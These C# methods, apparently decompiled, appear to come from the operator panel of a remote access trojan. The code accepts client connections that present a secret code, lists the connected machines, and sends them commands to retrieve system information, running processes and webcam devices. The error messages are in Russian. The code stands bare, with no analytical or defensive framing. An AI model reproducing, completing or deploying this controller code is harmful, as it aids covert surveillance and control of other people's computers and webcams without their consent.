public void LoadInformation() { string contents; if (!Directory.Exists("cache/userinfo/" + ip) && !File.Exists("cache/userinfo/" + ip + "/allinfo.bin")) { tsock.sendCommand(sock, "fullinfo", "1"); contents = tsock.Read(10240, sock); Directory.CreateDirectory("cache/userinfo/" + ip); File.WriteAllText("cache/userinfo/" + ip + "/allinfo.bin", contents); } if (File.Exists("cache/userinfo/" + ip + "/allinfo.bin")) { contents = File.ReadAllText("cache/userinfo/" + ip + "/allinfo.bin"); } else { tsock.sendCommand(sock, "fullinfo", "1"); contents = tsock.Read(10240, sock); Directory.CreateDirectory("cache/userinfo/" + ip); File.WriteAllText("cache/userinfo/" + ip + "/allinfo.bin", contents); } string[] array = contents.Split('|'); string[] array2 = array; foreach (string text in array2) { string[] info = text.Split('/'); Invoke((Action) delegate { listView1.Items.Add(info[0]).SubItems.Add(info[1]); }); } }
private void ProccessListLoad(object sender, EventArgs e) { tsock.sendCommand(selected, "proccess.getList", "1"); string[] array = tsock.Read(10240, selected).Split('|'); string[] array2 = array; foreach (string text in array2) { string[] inf = text.Split('/'); if (inf.Length > 2) { ListViewItem item = null; Action action = delegate { item = listView1.Items.Add(inf[0]); }; if (base.InvokeRequired) { Invoke(action); } else { action(); } if (proccessname == inf[0]) { Invoke((Action) delegate { item.ForeColor = Color.Red; }); Invoke((Action) delegate { item.Font = new Font(listView1.Font, FontStyle.Bold); }); Invoke((Action) delegate { item.SubItems.AddRange(new string[2] { inf[1], inf[2] }); }); } else { Invoke((Action) delegate { item.SubItems.AddRange(new string[2] { inf[1], inf[2] }); }); } } } }
private void ShowInThread() { ToolSocket tSocket = TSocket; tSocket.AutoStart(); Socket socket; while ((socket = tSocket.Accept()) != null && tc) { string text = tSocket.Read(1024, socket); string[] array = text.Split('|'); IPAddress address = ((IPEndPoint)socket.RemoteEndPoint).Address; if (array.Length > 0 && array[0] == SecretCode && array[1] == NewConnect) { if (!ListUsersConnections.Contains(socket)) { ListUsersConnections.Add(socket); addNewUser(listView1, address.ToString(), new string[6] { array[2], array[3], array[4], array[5], array[6], "0 KB / 0 KB " }); } } else { socket.Disconnect(reuseSocket: false); } } }
private void WebCamViewerLoad(object sender, EventArgs e) { try { tsock.sendCommand(sock, "device.get", "1"); comboBox1.Items.Clear(); string text; if ((text = tsock.Read(1024, sock)) != null) { string[] array = text.Split('|'); comboBox1.Items.AddRange(array); if (array.Length > 0) { comboBox1.SelectedIndex = 0; } else { MessageBox.Show("Драйвера Веб-Камеры не установлены на компьютере", "Ошибка", MessageBoxButtons.OK, MessageBoxIcon.Hand); Close(); } } else { Close(); } } catch (Exception) { MessageBox.Show("Драйвера Веб-Камеры не установлены на компьютере", "Ошибка", MessageBoxButtons.OK, MessageBoxIcon.Hand); Close(); } }